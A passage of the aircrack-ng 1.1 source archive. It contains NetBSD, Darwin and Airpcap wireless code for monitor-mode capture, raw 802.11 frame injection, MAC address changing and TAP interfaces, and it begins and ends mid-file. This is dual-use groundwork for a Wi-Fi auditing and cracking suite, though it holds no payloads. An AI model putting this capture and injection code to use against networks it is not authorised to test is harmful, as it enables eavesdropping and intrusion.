dlt = DLT_IEEE802_11_RADIO; int s; unsigned int flags; struct ifmediareq ifmr; int *mwords; struct priv_nbsd *pn = wi_priv(wi); unsigned int size=sizeof(pn->pn_buf); /* basic sanity check */ if (strlen(iface) >= sizeof(ifr.ifr_name)) return -1; /* open wifi */ s = socket(PF_INET, SOCK_DGRAM, 0); if (s == -1) return -1; pn->pn_s = s; /* set iface up and promisc */ memset(&ifr, 0, sizeof(ifr)); strncpy(ifr.ifr_name, iface, IFNAMSIZ); if (ioctl(s, SIOCGIFFLAGS, &ifr) == -1) goto close_sock; flags = ifr.ifr_flags; flags |= IFF_UP | IFF_PROMISC; memset(&ifr, 0, sizeof(ifr)); strncpy(ifr.ifr_name, iface, IFNAMSIZ); ifr.ifr_flags = flags & 0xffff; if (ioctl(s, SIOCSIFFLAGS, &ifr) == -1) goto close_sock; /* monitor mode */ memset(&ifmr, 0, sizeof(ifmr)); strncpy(ifmr.ifm_name, iface, IFNAMSIZ); if (ioctl(s, SIOCGIFMEDIA, &ifmr) == -1) goto close_sock; assert(ifmr.ifm_count != 0); mwords = (int *)malloc(ifmr.ifm_count * sizeof(int)); if (!mwords) goto close_sock; ifmr.ifm_ulist = mwords; if (ioctl(s, SIOCGIFMEDIA, &ifmr) == -1) { free(mwords); goto close_sock; } free(mwords); memset(&ifr, 0, sizeof(ifr)); strncpy(ifr.ifr_name, iface, IFNAMSIZ); ifr.ifr_media = ifmr.ifm_current | IFM_IEEE80211_MONITOR; if (ioctl(s, SIOCSIFMEDIA, &ifr) == -1) goto close_sock; /* setup ifreq for chan that may be used in future */ strncpy(pn->pn_ireq.i_name, iface, IFNAMSIZ); /* same for ifreq [mac addr] */ strncpy(pn->pn_ifr.ifr_name, iface, IFNAMSIZ); /* open bpf */ for(i = 0; i < 256; i++) { snprintf(buf, sizeof(buf), "/dev/bpf%d", i); fd = open(buf, O_RDWR); if(fd < 0) { if(errno != EBUSY) return -1; continue; } else break; } if(fd < 0) goto close_sock; if (ioctl(fd, BIOCSBLEN, &size) < 0) goto close_bpf; strncpy(ifr.ifr_name, iface, IFNAMSIZ); if (ioctl(fd, BIOCSETIF, &ifr) < 0) goto close_bpf; if (ioctl(fd, BIOCSDLT, &dlt) < 0) goto close_bpf; if(ioctl(fd, BIOCPROMISC, NULL) < 0) goto close_bpf; dlt = 1; if (ioctl(fd, BIOCIMMEDIATE, &dlt) == -1) goto close_bpf; return fd; close_sock: close(s); return -1; close_bpf: close(fd); goto close_sock; } static int nbsd_fd(struct wif *wi) { struct priv_nbsd *pn = wi_priv(wi); return pn->pn_fd; } static int nbsd_get_mac(struct wif *wi, unsigned char *mac) { struct ifaddrs *ifa, *p; char *name = wi_get_ifname(wi); int rc = -1; struct sockaddr_dl* sdp; if (getifaddrs(&ifa) == -1) return -1; p = ifa; while (p) { if (p->ifa_addr->sa_family == AF_LINK && strcmp(name, p->ifa_name) == 0) { sdp = (struct sockaddr_dl*) p->ifa_addr; memcpy(mac, sdp->sdl_data + sdp->sdl_nlen, 6); rc = 0; break; } p = p->ifa_next; } freeifaddrs(ifa); return rc; } static int nbsd_get_monitor(struct wif *wi) { if (wi) {} /* XXX unused */ /* XXX */ return 0; } static int nbsd_get_rate(struct wif *wi) { if (wi) {} /* XXX unused */ /* XXX */ return 1000000; } static int nbsd_set_rate(struct wif *wi, int rate) { if (wi || rate) {} /* XXX unused */ /* XXX */ return 0; } static int nbsd_set_mac(struct wif *wi, unsigned char *mac) { struct priv_nbsd *pn = wi_priv(wi); struct ifreq *ifr = &pn->pn_ifr; ifr->ifr_addr.sa_family = AF_LINK; ifr->ifr_addr.sa_len = 6; memcpy(ifr->ifr_addr.sa_data, mac, 6); return ioctl(pn->pn_s, SIOCSIFADDR, ifr); } static struct wif *nbsd_open(char *iface) { struct wif *wi; struct priv_nbsd *pn; int fd; /* setup wi struct */ wi = wi_alloc(sizeof(*pn)); if (!wi) return NULL; wi->wi_read = nbsd_read; wi->wi_write = nbsd_write; wi->wi_set_channel = nbsd_set_channel; wi->wi_get_channel = nbsd_get_channel; wi->wi_close = nbsd_close; wi->wi_fd = nbsd_fd; wi->wi_get_mac = nbsd_get_mac; wi->wi_set_mac = nbsd_set_mac; wi->wi_get_rate = nbsd_get_rate; wi->wi_set_rate = nbsd_set_rate; wi->wi_get_monitor = nbsd_get_monitor; /* setup iface */ fd = do_nbsd_open(wi, iface); if (fd == -1) { do_free(wi); return NULL; } /* setup private state */ pn = wi_priv(wi); pn->pn_fd = fd; return wi; } struct wif *wi_open_osdep(char *iface) { return nbsd_open(iface); } int get_battery_state(void) { #if defined(__FreeBSD__) int value; size_t len; len = 1; value = 0; sysctlbyname("hw.acpi.acline", &value, &len, NULL, 0); if (value == 0) { sysctlbyname("hw.acpi.battery.time", &value, &len, NULL, 0); value = value * 60; } else { value = 0; } return( value ); #elif defined(_BSD_SOURCE) struct apm_power_info api; int apmfd; if ((apmfd = open("/dev/apm", O_RDONLY)) < 0) return 0; if (ioctl(apmfd, APM_IOC_GETPOWER, &api) < 0) { close(apmfd); return 0; } close(apmfd); if (api.battery_state == APM_BATT_UNKNOWN || api.battery_state == APM_BATTERY_ABSENT || api.battery_state == APM_BATT_CHARGING || api.ac_state == APM_AC_ON) { return 0; } return ((int)(api.minutes_left))*60; #else return 0; #endif } aircrack-ng-1.1/src/osdep/airpcap.c0000644000000000000000000002104410761053203015714 0ustar rootroot /* * Copyright (c) 2007, 2008, Thomas d'Otreppe * * Airpcap stuff * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA */ #ifdef HAVE_AIRPCAP #include #include #include #include #include #include #include "osdep.h" //------------------ PPI --------------------- #define PPH_PH_VERSION ((u_int8_t)0x00) #define PPI_FIELD_TYPE_802_11_COMMON ((u_int16_t)0x02) typedef struct _PPI_PACKET_HEADER { u_int8_t PphVersion; u_int8_t PphFlags; u_int16_t PphLength; u_int32_t PphDlt; } PPI_PACKET_HEADER, *PPPI_PACKET_HEADER; typedef struct _PPI_FIELD_HEADER { u_int16_t PfhType; u_int16_t PfhLength; } PPI_FIELD_HEADER, *PPPI_FIELD_HEADER; typedef struct _PPI_FIELD_802_11_COMMON { u_int64_t TsfTimer; u_int16_t Flags; u_int16_t Rate; u_int16_t ChannelFrequency; u_int16_t ChannelFlags; u_int8_t FhssHopset; u_int8_t FhssPattern; int8_t DbmAntSignal; int8_t DbmAntNoise; } PPI_FIELD_802_11_COMMON, *PPPI_FIELD_802_11_COMMON; #define DEVICE_PREFIX "\\\\.\\" #define DEVICE_COMMON_PART "airpcap" PAirpcapHandle airpcap_handle; /** * Check if the device is an Airpcap device * @param iface Interface name * @return 1 if it is an Airpcap device, 0 if not */ int isAirpcapDevice(const char * iface) { char * pos; int len; pos = strstr(iface, DEVICE_COMMON_PART); // Check if it contains "airpcap" if (! pos) return 0; if (pos != iface) { // Check if it begins with '\\.\' if (strstr(iface, AIRPCAP_DEVICE_NAME_PREFIX) != iface) return 0; } len = strlen(iface); // Checking that it contains 2 figures at the end. // No need to check for length, it was already done by the first check if (! (isdigit(iface[len - 1])) || !(isdigit(iface[len - 2]))) return 0; return 1; } /** * Parse information from a PPI packet (will be used later). * @param p packet * @param caplen Length of the packet * @param hdrlen Length of the header * @param power pointer that will contains the power of the packet * @return 0 if successful decoding, 1 if it failed to decode */ int ppi_decode(const u_char *p, int caplen, int *hdrlen, int *power) { PPPI_PACKET_HEADER pPpiPacketHeader; PPPI_FIELD_HEADER pFieldHeader; ULONG position = 0; // Sanity checks if (caplen < (int)sizeof(*pPpiPacketHeader)) { // Packet smaller than the PPI fixed header return( 1 ); } pPpiPacketHeader = (PPPI_PACKET_HEADER)p; *hdrlen = pPpiPacketHeader->PphLength; if(caplen < *hdrlen) { // Packet smaller than the PPI fixed header return( 1 ); } position = sizeof(*pPpiPacketHeader); if (pPpiPacketHeader->PphVersion != PPH_PH_VERSION) { fprintf( stderr, "Unknown PPI packet header version (%u)\n", pPpiPacketHeader->PphVersion); return( 1 ); } do { // now we suppose to have an 802.11-Common header if (*hdrlen < (int)(sizeof(*pFieldHeader) + position)) { break; } pFieldHeader = (PPPI_FIELD_HEADER)(p + position); position += sizeof(*pFieldHeader); switch(pFieldHeader->PfhType) { case PPI_FIELD_TYPE_802_11_COMMON: if (pFieldHeader->PfhLength != sizeof(PPI_FIELD_802_11_COMMON) || caplen - position < sizeof(PPI_FIELD_802_11_COMMON)) { // the header is bogus, just skip it fprintf( stderr, "Bogus 802.11-Common Field. Skipping it.\n"); } else { PPPI_FIELD_802_11_COMMON pField = (PPPI_FIELD_802_11_COMMON)(p + position); if (pField->DbmAntSignal != -128) { *power = (int)pField->DbmAntSignal; } else { *power = 0; } } break; default: // we do not know this field. Just print type and length and skip break; } position += pFieldHeader->PfhLength; } while(TRUE); return( 0 ); } /** * Set MAC Address of the device * @param mac MAC Address * @return 0 (successful) */ int airpcap_set_mac(void *mac) { if (mac) {} return 0; } /** * Close device */ void airpcap_close(void) { // By default, when plugged in, the adapter is set in monitor mode; // Application may assume it's already in monitor mode and forget to set it // So, do not remove monitor mode. if (airpcap_handle != NULL) { AirpcapClose(airpcap_handle); } } /** * Get MAC Address of the device (not yet implemented) * @param mac It will contain the mac address * @return 0 (successful) */ int airpcap_get_mac(void *mac) { // Don't use the function from Airpcap if (mac) {} return 0; } /** * Capture one packet * @param buf Buffer for the packet * @param len Length of the buffer * @param ri Receive information * @return -1 if failure or the number of bytes received */ int airpcap_sniff(void *buf, int len, struct rx_info *ri) { // Use PPI headers to obtain the different information for ri // Use AirpcapConvertFrequencyToChannel() to get channel // Add an option to give frequency instead of channel UINT BytesReceived = 0; if (ri) {} // Wait for the next packet // Maybe add an event packets to read // WaitForSingleObject(ReadEvent, INFINITE); // Read a packet if(AirpcapRead(airpcap_handle, buf, len, &BytesReceived)) return (int)BytesReceived; return -1; } /** * Inject one packet * @param buf Buffer for the packet * @param len Length of the buffer * @param ti Transmit information * @return -1 if failure or the number of bytes sent */ int airpcap_inject(void *buf, int len, struct tx_info *ti) { if (ti) {} if (AirpcapWrite (airpcap_handle, buf, len) != 1) return -1; return len; } /** * Print the error message * @param err Contains the error message and a %s in order to show the Airpcap error * @param retValue Value returned by the function * @return retValue */ int printErrorCloseAndReturn(const char * err, int retValue) { if (err && airpcap_handle) { if (strlen(err)) { if (airpcap_handle) fprintf( stderr, err, AirpcapGetLastError(airpcap_handle)); else fprintf( stderr, err); } } airpcap_close(); return retValue; } /** * Initialize the device * @param param Parameters for the initialization * @return 0 if successful, -1 in case of failure */ int airpcap_init(char *param) { // Later: if several interfaces are given, aggregate them. char * iface; char errbuf[AIRPCAP_ERRBUF_SIZE ]; iface = (char *)calloc(1, strlen(param) + 100); if (param) { // if it's empty, use the default adapter if (strlen(param) > 0) { if (strstr(param, DEVICE_PREFIX) == NULL) { // Not found, add it strcpy(iface, DEVICE_PREFIX); strcat(iface, param); } else { // Already contains the adapter header strcpy(iface, param); } } } airpcap_handle = AirpcapOpen(iface, errbuf); if(airpcap_handle == NULL) { fprintf( stderr, "This adapter doesn't have wireless extensions. Quitting\n"); //pcap_close( winpcap_adapter ); return( -1 ); } /* Tell the adapter that the packets we'll send and receive don't include the FCS */ if(!AirpcapSetFcsPresence(airpcap_handle, FALSE)) return printErrorCloseAndReturn("Error setting FCS presence: %s\n", -1); /* Set the link layer to bare 802.11 */ if(!AirpcapSetLinkType(airpcap_handle, AIRPCAP_LT_802_11)) return printErrorCloseAndReturn("Error setting the link type: %s\n", -1); /* Accept correct frames only */ if( !AirpcapSetFcsValidation(airpcap_handle, AIRPCAP_VT_ACCEPT_CORRECT_FRAMES) ) return printErrorCloseAndReturn("Error setting FCS validation: %s\n", -1); /* Set a low mintocopy for better responsiveness */ if(!AirpcapSetMinToCopy(airpcap_handle, 1)) return printErrorCloseAndReturn("Error setting MinToCopy: %s\n", -1); return 0; } /** * Set device channel * @param chan Channel * @return 0 if successful, -1 if it failed */ int airpcap_set_chan(int chan) { // Make sure a valid channel is given if (chan <= 0) return -1; if(!AirpcapSetDeviceChannel(airpcap_handle, chan)) { printf("Error setting the channel to %d: %s\n", chan, AirpcapGetLastError(airpcap_handle)); return -1; } return 0; } #endif aircrack-ng-1.1/src/osdep/osdep.h0000644000000000000000000001073511215056272015425 0ustar rootroot/*- * Copyright (c) 2007, 2008, Andrea Bittau * * All OS dependent crap should go here. * */ #ifndef __AIRCRACK_NG_OSEDEP_H__ #define __AIRCRACK_NG_OSEDEP_H__ #include #include #include "byteorder.h" #include "packed.h" /* For all structures, when adding new fields, always append them to the end. * This way legacy binary code does not need to be recompiled. This is * particularly useful for DLLs. -sorbo */ struct tx_info { unsigned int ti_rate; }; struct rx_info { uint64_t ri_mactime; int32_t ri_power; int32_t ri_noise; uint32_t ri_channel; uint32_t ri_freq; uint32_t ri_rate; uint32_t ri_antenna; } __packed; /* Normal code should not access this directly. Only osdep. * This structure represents a single interface. It should be created with * wi_open and destroyed with wi_close. */ #define MAX_IFACE_NAME 64 struct wif { int (*wi_read)(struct wif *wi, unsigned char *h80211, int len, struct rx_info *ri); int (*wi_write)(struct wif *wi, unsigned char *h80211, int len, struct tx_info *ti); int (*wi_set_channel)(struct wif *wi, int chan); int (*wi_get_channel)(struct wif *wi); int (*wi_set_freq)(struct wif *wi, int freq); int (*wi_get_freq)(struct wif *wi); void (*wi_close)(struct wif *wi); int (*wi_fd)(struct wif *wi); int (*wi_get_mac)(struct wif *wi, unsigned char *mac); int (*wi_set_mac)(struct wif *wi, unsigned char *mac); int (*wi_set_rate)(struct wif *wi, int rate); int (*wi_get_rate)(struct wif *wi); int (*wi_set_mtu)(struct wif *wi, int mtu); int (*wi_get_mtu)(struct wif *wi); int (*wi_get_monitor)(struct wif *wi); void *wi_priv; char wi_interface[MAX_IFACE_NAME]; }; /* Routines to be used by client code */ extern struct wif *wi_open(char *iface); extern int wi_read(struct wif *wi, unsigned char *h80211, int len, struct rx_info *ri); extern int wi_write(struct wif *wi, unsigned char *h80211, int len, struct tx_info *ti); extern int wi_set_channel(struct wif *wi, int chan); extern int wi_get_channel(struct wif *wi); extern int wi_set_freq(struct wif *wi, int freq); extern int wi_get_freq(struct wif *wi); extern void wi_close(struct wif *wi); extern char *wi_get_ifname(struct wif *wi); extern int wi_get_mac(struct wif *wi, unsigned char *mac); extern int wi_set_mac(struct wif *wi, unsigned char *mac); extern int wi_get_rate(struct wif *wi); extern int wi_set_rate(struct wif *wi, int rate); extern int wi_get_monitor(struct wif *wi); extern int wi_get_mtu(struct wif *wi); extern int wi_set_mtu(struct wif *wi, int mtu); /* wi_open_osdep should determine the type of card and setup the wif structure * appropriately. There is one per OS. Called by wi_open. */ extern struct wif *wi_open_osdep(char *iface); /* This will return the FD used for reading. This is required for using select * on it. */ extern int wi_fd(struct wif *wi); /* Helper routines for osdep code. */ extern struct wif *wi_alloc(int sz); extern void *wi_priv(struct wif *wi); /* Client code can use this to determine the battery state. One per OS. */ extern int get_battery_state(void); /* Client code can create a tap interface */ /* XXX we can unify the tap & wi stuff in the future, but for now, lets keep * them seperate until we learn something. */ struct tif { int (*ti_read)(struct tif *ti, void *buf, int len); int (*ti_write)(struct tif *ti, void *buf, int len); int (*ti_fd)(struct tif *ti); char *(*ti_name)(struct tif *ti); int (*ti_set_mtu)(struct tif *ti, int mtu); int (*ti_get_mtu)(struct tif *ti); int (*ti_set_ip)(struct tif *ti, struct in_addr *ip); int (*ti_set_mac)(struct tif *ti, unsigned char *mac); void (*ti_close)(struct tif *ti); void *ti_priv; }; /* one per OS */ extern struct tif *ti_open(char *iface); /* osdep routines */ extern struct tif *ti_alloc(int sz); extern void *ti_priv(struct tif *ti); /* client routines */ extern char *ti_name(struct tif *ti); extern int ti_set_mtu(struct tif *ti, int mtu); extern int ti_get_mtu(struct tif *ti); extern void ti_close(struct tif *ti); extern int ti_fd(struct tif *ti); extern int ti_read(struct tif *ti, void *buf, int len); extern int ti_write(struct tif *ti, void *buf, int len); extern int ti_set_mac(struct tif *ti, unsigned char *mac); extern int ti_set_ip(struct tif *ti, struct in_addr *ip); #endif /* __AIRCRACK_NG_OSEDEP_H__ */ aircrack-ng-1.1/src/osdep/netbsd_tap.c0000644000000000000000000001120010761053203016411 0ustar rootroot /* * Copyright (c) 2007, 2008, Andrea Bittau * * OS dependent API for NetBSD. TAP routines * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA */ #include #include #include #include #include #include #include #include #include #include #include #include "osdep.h" struct tip_nbsd { int tn_fd; int tn_ioctls; struct ifreq tn_ifr; char tn_name[MAX_IFACE_NAME]; int tn_destroy; }; static int ti_do_open_nbsd(struct tif *ti, char *name) { int fd; char *iface = "/dev/tap"; struct stat st; struct tip_nbsd *priv = ti_priv(ti); int s; unsigned int flags; struct ifreq *ifr; /* open tap */ if (name) iface = name; else priv->tn_destroy = 1; /* we create, we destroy */ fd = open(iface, O_RDWR); if (fd == -1) return -1; /* get name */ if(fstat(fd, &st) == -1) goto err; snprintf(priv->tn_name, sizeof(priv->tn_name)-1, "%s", devname(st.st_rdev, S_IFCHR)); /* bring iface up */ s = socket(PF_INET, SOCK_DGRAM, 0); if (s == -1) goto err; priv->tn_ioctls = s; /* get flags */ ifr = &priv->tn_ifr; memset(ifr, 0, sizeof(*ifr)); snprintf(ifr->ifr_name, sizeof(ifr->ifr_name)-1, "%s", priv->tn_name); if (ioctl(s, SIOCGIFFLAGS, ifr) == -1) goto err2; flags = ifr->ifr_flags; /* set flags */ flags |= IFF_UP; ifr->ifr_flags = flags & 0xffff; if (ioctl(s, SIOCSIFFLAGS, ifr) == -1) goto err2; return fd; err: /* XXX destroy */ close(fd); return -1; err2: close(s); goto err; } static void ti_do_free(struct tif *ti) { struct tip_nbsd *priv = ti_priv(ti); free(priv); free(ti); } static void ti_destroy(struct tip_nbsd *priv) { ioctl(priv->tn_ioctls, SIOCIFDESTROY, &priv->tn_ifr); } static void ti_close_nbsd(struct tif *ti) { struct tip_nbsd *priv = ti_priv(ti); if (priv->tn_destroy) ti_destroy(priv); close(priv->tn_fd); close(priv->tn_ioctls); ti_do_free(ti); } static char *ti_name_nbsd(struct tif *ti) { struct tip_nbsd *priv = ti_priv(ti); return priv->tn_name; } static int ti_set_mtu_nbsd(struct tif *ti, int mtu) { struct tip_nbsd *priv = ti_priv(ti); priv->tn_ifr.ifr_mtu = mtu; return ioctl(priv->tn_ioctls, SIOCSIFMTU, &priv->tn_ifr); } static int ti_set_mac_nbsd(struct tif *ti, unsigned char *mac) { struct tip_nbsd *priv = ti_priv(ti); struct ifreq *ifr = &priv->tn_ifr; ifr->ifr_addr.sa_family = AF_LINK; ifr->ifr_addr.sa_len = 6; memcpy(ifr->ifr_addr.sa_data, mac, 6); return ioctl(priv->tn_ioctls, SIOCSIFADDR, ifr); } static int ti_set_ip_nbsd(struct tif *ti, struct in_addr *ip) { struct tip_nbsd *priv = ti_priv(ti); struct ifaliasreq ifra; struct sockaddr_in *s_in; /* assume same size */ memset(&ifra, 0, sizeof(ifra)); strncpy(ifra.ifra_name, priv->tn_ifr.ifr_name, IFNAMSIZ); s_in = (struct sockaddr_in *) &ifra.ifra_addr; s_in->sin_family = PF_INET; s_in->sin_addr = *ip; s_in->sin_len = sizeof(*s_in); return ioctl(priv->tn_ioctls, SIOCAIFADDR, &ifra); } static int ti_fd_nbsd(struct tif *ti) { struct tip_nbsd *priv = ti_priv(ti); return priv->tn_fd; } static int ti_read_nbsd(struct tif *ti, void *buf, int len) { return read(ti_fd(ti), buf, len); } static int ti_write_nbsd(struct tif *ti, void *buf, int len) { return write(ti_fd(ti), buf, len); } static struct tif *ti_open_nbsd(char *iface) { struct tif *ti; struct tip_nbsd *priv; int fd; /* setup ti struct */ ti = ti_alloc(sizeof(*priv)); if (!ti) return NULL; ti->ti_name = ti_name_nbsd; ti->ti_set_mtu = ti_set_mtu_nbsd; ti->ti_close = ti_close_nbsd; ti->ti_fd = ti_fd_nbsd; ti->ti_read = ti_read_nbsd; ti->ti_write = ti_write_nbsd; ti->ti_set_mac = ti_set_mac_nbsd; ti->ti_set_ip = ti_set_ip_nbsd; /* setup iface */ fd = ti_do_open_nbsd(ti, iface); if (fd == -1) { ti_do_free(ti); return NULL; } /* setup private state */ priv = ti_priv(ti); priv->tn_fd = fd; return ti; } struct tif *ti_open(char *iface) { return ti_open_nbsd(iface); } aircrack-ng-1.1/src/osdep/darwin.c0000644000000000000000000000231111321204141015545 0ustar rootroot /* * Copyright (c) 2009, Kyle Fuller , based upon * freebsd.c by Andrea Bittau * * OS dependent API for Darwin. * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA */ #include #include #include "osdep.h" struct wif *wi_open_osdep(char *iface) { if (iface) {} /* XXX unused parameter */ errno = EOPNOTSUPP; return NULL; } int get_battery_state(void) { errno = EOPNOTSUPP; return -1; } int create_tap(void) { errno = EOPNOTSUPP; return -1; } aircrack-ng-1.1/src/osdep/airpcap.h0000644000000000000000000000063610761053203015725 0ustar rootroot// Function to be used by cygwin void airpcap_close(void); int airpcap_get_mac(void *mac); int airpcap_set_mac(void *mac); int airpcap_sniff(void *buf, int len, struct rx_info *ri); int airpcap_inject(void *buf, int len, struct tx_info *ti); int airpcap_init(char *param); int airpcap_set_chan(int chan); int isAirpcapDevice(const char * iface); //int printErrorCloseAndReturn(const char * err, int retValue); aircrack-ng-1.1/src/osdep/darwin_tap.c0000644000000000000000000001270111321204141016415 0ustar rootroot /* * Copyright (c) 2009, Kyle Fuller , based upon * freebsd_tap.c by Andrea Bittau * * OS dependent API for Darwin. TAP routines * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA */ #include #include #include #include #include #include #include #include #include #include #include #include "osdep.h" #define MAX_TAP_DEVS 16 struct tip_darwin { int tf_fd; int tf_ioctls; struct ifreq tf_ifr; char tf_name[MAX_IFACE_NAME]; int tf_destroy; }; static int ti_do_open_darwin(struct tif *ti, char *name) { int fd = -1; char iface[12]; struct stat st; struct tip_darwin *priv = ti_priv(ti); int s; unsigned int flags; struct ifreq *ifr; int i; /* open tap */ if (name) { fd = open(name, O_RDWR); } else { priv->tf_destroy = 1; /* we create, we destroy */ for (i = 0; i < MAX_TAP_DEVS; i++) { snprintf(iface, sizeof(iface), "/dev/tap%d", i); fd = open(iface, O_RDWR); if (fd != -1) { break; } } } if (fd == -1) { return -1; } /* get name */ if(fstat(fd, &st) == -1) goto err; snprintf(priv->tf_name, sizeof(priv->tf_name)-1, "%s", devname(st.st_rdev, S_IFCHR)); /* bring iface up */ s = socket(PF_INET, SOCK_DGRAM, 0); if (s == -1) goto err; priv->tf_ioctls = s; /* get flags */ ifr = &priv->tf_ifr; memset(ifr, 0, sizeof(*ifr)); snprintf(ifr->ifr_name, sizeof(ifr->ifr_name)-1, "%s", priv->tf_name); if (ioctl(s, SIOCGIFFLAGS, ifr) == -1) goto err2; flags = (ifr->ifr_flags & 0xffff); /* set flags */ flags |= IFF_UP; ifr->ifr_flags = flags & 0xffff; if (ioctl(s, SIOCSIFFLAGS, ifr) == -1) goto err2; return fd; err: /* XXX destroy */ close(fd); return -1; err2: close(s); goto err; } static void ti_do_free(struct tif *ti) { struct tip_darwin *priv = ti_priv(ti); free(priv); free(ti); } static void ti_destroy(struct tip_darwin *priv) { ioctl(priv->tf_ioctls, SIOCIFDESTROY, &priv->tf_ifr); } static void ti_close_darwin(struct tif *ti) { struct tip_darwin *priv = ti_priv(ti); if (priv->tf_destroy) ti_destroy(priv); close(priv->tf_fd); close(priv->tf_ioctls); ti_do_free(ti); } static char *ti_name_darwin(struct tif *ti) { struct tip_darwin *priv = ti_priv(ti); return priv->tf_name; } static int ti_set_mtu_darwin(struct tif *ti, int mtu) { struct tip_darwin *priv = ti_priv(ti); priv->tf_ifr.ifr_mtu = mtu; return ioctl(priv->tf_ioctls, SIOCSIFMTU, &priv->tf_ifr); } static int ti_set_mac_darwin(struct tif *ti, unsigned char *mac) { struct tip_darwin *priv = ti_priv(ti); struct ifreq *ifr = &priv->tf_ifr; ifr->ifr_addr.sa_family = AF_LINK; ifr->ifr_addr.sa_len = 6; memcpy(ifr->ifr_addr.sa_data, mac, 6); return ioctl(priv->tf_ioctls, SIOCSIFLLADDR, ifr); } static int ti_set_ip_darwin(struct tif *ti, struct in_addr *ip) { struct tip_darwin *priv = ti_priv(ti); struct ifaliasreq ifra; struct sockaddr_in *s_in; /* assume same size */ memset(&ifra, 0, sizeof(ifra)); strcpy(ifra.ifra_name, priv->tf_ifr.ifr_name); s_in = (struct sockaddr_in *) &ifra.ifra_addr; s_in->sin_family = PF_INET; s_in->sin_addr = *ip; s_in->sin_len = sizeof(*s_in); return ioctl(priv->tf_ioctls, SIOCAIFADDR, &ifra); } static int ti_fd_darwin(struct tif *ti) { struct tip_darwin *priv = ti_priv(ti); return priv->tf_fd; } static int ti_read_darwin(struct tif *ti, void *buf, int len) { return read(ti_fd(ti), buf, len); } static int ti_write_darwin(struct tif *ti, void *buf, int len) { return write(ti_fd(ti), buf, len); } static struct tif *ti_open_darwin(char *iface) { struct tif *ti; struct tip_darwin *priv; int fd; /* setup ti struct */ ti = ti_alloc(sizeof(*priv)); if (!ti) return NULL; ti->ti_name = ti_name_darwin; ti->ti_set_mtu = ti_set_mtu_darwin; ti->ti_close = ti_close_darwin; ti->ti_fd = ti_fd_darwin; ti->ti_read = ti_read_darwin; ti->ti_write = ti_write_darwin; ti->ti_set_mac = ti_set_mac_darwin; ti->ti_set_ip = ti_set_ip_darwin; /* setup iface */ fd = ti_do_open_darwin(ti, iface); if (fd == -1) { ti_do_free(ti); return NULL; } /* setup private state */ priv = ti_priv(ti); priv->tf_fd = fd; return ti; } struct tif *ti_open(char *iface) { return ti_open_darwin(iface); } aircrack-ng-1.1/src/osdep/common.c0000644000000000000000000000537511151603521015574 0ustar rootroot /* * Copyright (c) 2008, Thomas d'Otreppe * * Common OSdep stuff * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA */ #include #include #include "common.h" /** * Return the frequency in Mhz from a channel number */ int getFrequencyFromChannel(int channel) { static int frequencies[] = { -1, // No channel 0 2412, 2417, 2422, 2427, 2432, 2437, 2442, 2447, 2452, 2457, 2462, 2467, 2472, 2484, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, // Nothing from channel 15 to 34 (exclusive) 5170, 5175, 5180, 5185, 5190, 5195, 5200, 5205, 5210, 5215, 5220, 5225, 5230, 5235, 5240, 5245, 5250, 5255, 5260, 5265, 5270, 5275, 5280, 5285, 5290, 5295, 5300, 5305, 5310, 5315, 5320, 5325, 5330, 5335, 5340, 5345, 5350, 5355, 5360, 5365, 5370, 5375, 5380, 5385, 5390, 5395, 5400, 5405, 5410, 5415, 5420, 5425, 5430, 5435, 5440, 5445, 5450, 5455, 5460, 5465, 5470, 5475, 5480, 5485, 5490, 5495, 5500, 5505, 5510, 5515, 5520, 5525, 5530, 5535, 5540, 5545, 5550, 5555, 5560, 5565, 5570, 5575, 5580, 5585, 5590, 5595, 5600, 5605, 5610, 5615, 5620, 5625, 5630, 5635, 5640, 5645, 5650, 5655, 5660, 5665, 5670, 5675, 5680, 5685, 5690, 5695, 5700, 5705, 5710, 5715, 5720, 5725, 5730, 5735, 5740, 5745, 5750, 5755, 5760, 5765, 5770, 5775, 5780, 5785, 5790, 5795, 5800, 5805, 5810, 5815, 5820, 5825, 5830, 5835, 5840, 5845, 5850, 5855, 5860, 5865, 5870, 5875, 5880, 5885, 5890, 5895, 5900, 5905, 5910, 5915, 5920, 5925, 5930, 5935, 5940, 5945, 5950, 5955, 5960, 5965, 5970, 5975, 5980, 5985, 5990, 5995, 6000, 